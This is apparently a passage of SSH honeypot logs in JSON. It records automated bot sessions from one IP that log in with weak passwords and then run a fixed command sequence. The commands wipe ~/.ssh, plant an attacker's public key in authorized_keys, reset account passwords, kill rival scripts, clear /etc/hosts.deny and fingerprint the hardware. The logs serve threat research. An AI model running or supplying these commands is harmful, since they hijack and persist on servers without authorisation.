complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T00:58:03.176029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:58:03.734419+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:58:12.571921+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:58:13.051858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:58:13.609043+00:00","kind":"input","latency_ms":null,"data":"echo \"root:38GEfiVqaLLq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:58:14.170501+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:58:14.824404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:58:15.146730+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:58:15.718213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:58:16.623849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:58:17.286864+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:58:18.572782+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:58:19.128859+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:58:19.604734+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:58:20.162593+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:58:21.058254+00:00","kind":"output","latency_ms":null,"data":" 00:58:21 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:58:21.615140+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:58:22.186640+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:58:22.737789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:58:22.996672+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:58:23.544543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:58:24.001645+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:23 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:58:24.547054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:58:25.390795+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:58:25.936118+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:58:26.248156+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:58:26.800130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:58:27.285817+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:58:27.842546+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:58:29.151073+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:58:29.700296+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:58:30.847072+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tianyu@123","method":"password","accepted":true,"tier":"other"}]} {"id":"029098bd-0b3d-4b1a-82c0-7cc49eadaedd","name":"thrifty-daring-okapi","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":43460,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:58:10.574727+00:00","ended_at":"2026-08-27T00:58:12.399043+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0a91f025-0715-42f7-863f-050704a83b64","name":"earnest-smooth-pelican","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":43446,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:58:06.185502+00:00","ended_at":"2026-08-27T00:58:08.078874+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9c9204b5-b416-4d6d-b3d1-eccace0e90c5","name":"boreal-serene-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":45992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":544,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:55:24.223136+00:00","ended_at":"2026-08-27T00:55:25.280584+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T00:54:58.053134+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:54:58.589570+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:55:06.347880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:55:06.927182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:55:07.471638+00:00","kind":"input","latency_ms":null,"data":"echo \"root:aAw9cQPRmrla\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:55:08.013595+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:55:08.542946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:55:09.290498+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:55:09.844426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:55:10.750692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:55:11.287269+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:55:12.451766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:55:13.003942+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:55:13.664601+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:55:14.277484+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:55:14.754826+00:00","kind":"output","latency_ms":null,"data":" 00:55:14 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:55:15.678897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:55:16.140536+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:55:16.677952+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:55:17.137019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:55:17.840464+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:55:18.594539+00:00","kind":"output","latency_ms":null,"data":"top - 00:55:18 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:55:19.131656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:55:19.460262+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:55:19.992453+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:55:20.375159+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:55:20.902485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:55:21.590159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:55:22.330041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:55:23.690708+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:55:24.224374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:55:25.103556+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"brahim","method":"password","accepted":true,"tier":"other"}]} {"id":"b378f839-feba-4f89-bf82-2d679558f6a6","name":"mindful-fierce-firefly","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52606,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:55:04.786076+00:00","ended_at":"2026-08-27T00:55:06.183159+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a8069ee5-aae6-434a-aafc-785d25248b8d","name":"freckled-fickle-parakeet","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46000,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:54:59.780592+00:00","ended_at":"2026-08-27T00:55:01.833612+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9dc4ef9c-3031-4587-b567-997bc168067c","name":"gleaming-austere-guanaco","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":42424,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":567,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:52:18.999740+00:00","ended_at":"2026-08-27T00:52:20.000176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2170,"events":[{"seq":1,"at":"2026-08-27T00:51:52.070552+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:51:52.669635+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:52:00.848670+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:52:01.519391+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:52:02.149610+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1111\\ni1mHboJiz6VT\\ni1mHboJiz6VT\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:52:02.711747+00:00","kind":"input","latency_ms":null,"data":"echo \"1111\\ni1mHboJiz6VT\\ni1mHboJiz6VT\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:52:03.298143+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:52:03.770913+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:52:04.346634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:52:05.319891+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:52:05.899757+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:52:06.976544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:52:07.542581+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:52:08.314146+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:52:08.881303+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:52:09.213600+00:00","kind":"output","latency_ms":null,"data":" 00:52:09 up 6 days, 21:42, 0 user, load average: 0.15, 0.16, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:52:09.780441+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:52:10.422109+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:52:11.030549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:52:11.915328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:52:12.480171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:52:13.315671+00:00","kind":"output","latency_ms":null,"data":"top - 00:52:13 up 6 days, 21:42, 0 user, load average: 0.15, 0.16, 0.12\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:52:13.893423+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:52:14.759164+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:52:15.319401+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:52:15.920183+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:52:16.480653+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:52:16.792634+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T00:52:17.557590+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:52:18.439560+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:52:19.001189+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:52:19.820770+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"1111","method":"password","accepted":true,"tier":"other"}]} {"id":"ba08fdbc-7517-4a23-a08f-94efa8de1f8c","name":"primal-upland-fossa","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":54736,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:51:59.886901+00:00","ended_at":"2026-08-27T00:52:00.669408+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"002bc0cc-83cf-4677-94c6-16569195cebe","name":"tawny-freckled-ibex","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":54726,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:51:55.793745+00:00","ended_at":"2026-08-27T00:51:56.954477+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cc4229b0-76f4-4588-b70a-92eee7a51923","name":"sincere-verdant-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":39982,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":516,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:49:16.596636+00:00","ended_at":"2026-08-27T00:49:17.603128+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2169,"events":[{"seq":1,"at":"2026-08-27T00:48:48.425936+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:48:49.216299+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:48:58.916231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:48:59.415080+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:48:59.932404+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin123\\nrF4UWX4vUhQ3\\nrF4UWX4vUhQ3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:49:00.519558+00:00","kind":"input","latency_ms":null,"data":"echo \"admin123\\nrF4UWX4vUhQ3\\nrF4UWX4vUhQ3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:49:01.062231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:49:01.610591+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:49:02.157747+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:49:03.401660+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:49:03.918262+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:49:05.214404+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:49:05.729235+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:49:06.090112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:49:06.600597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:49:07.365780+00:00","kind":"output","latency_ms":null,"data":" 00:49:07 up 6 days, 21:39, 0 user, load average: 0.16, 0.17, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:49:07.952434+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:49:08.461117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:49:08.975156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:49:09.235761+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:49:09.761462+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:49:10.278730+00:00","kind":"output","latency_ms":null,"data":"top - 00:49:10 up 6 days, 21:39, 0 user, load average: 0.16, 0.17, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:49:10.998553+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:49:11.858783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:49:12.387769+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:49:13.253433+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:49:13.771644+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:49:14.317240+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T00:49:14.827063+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:49:16.083474+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not 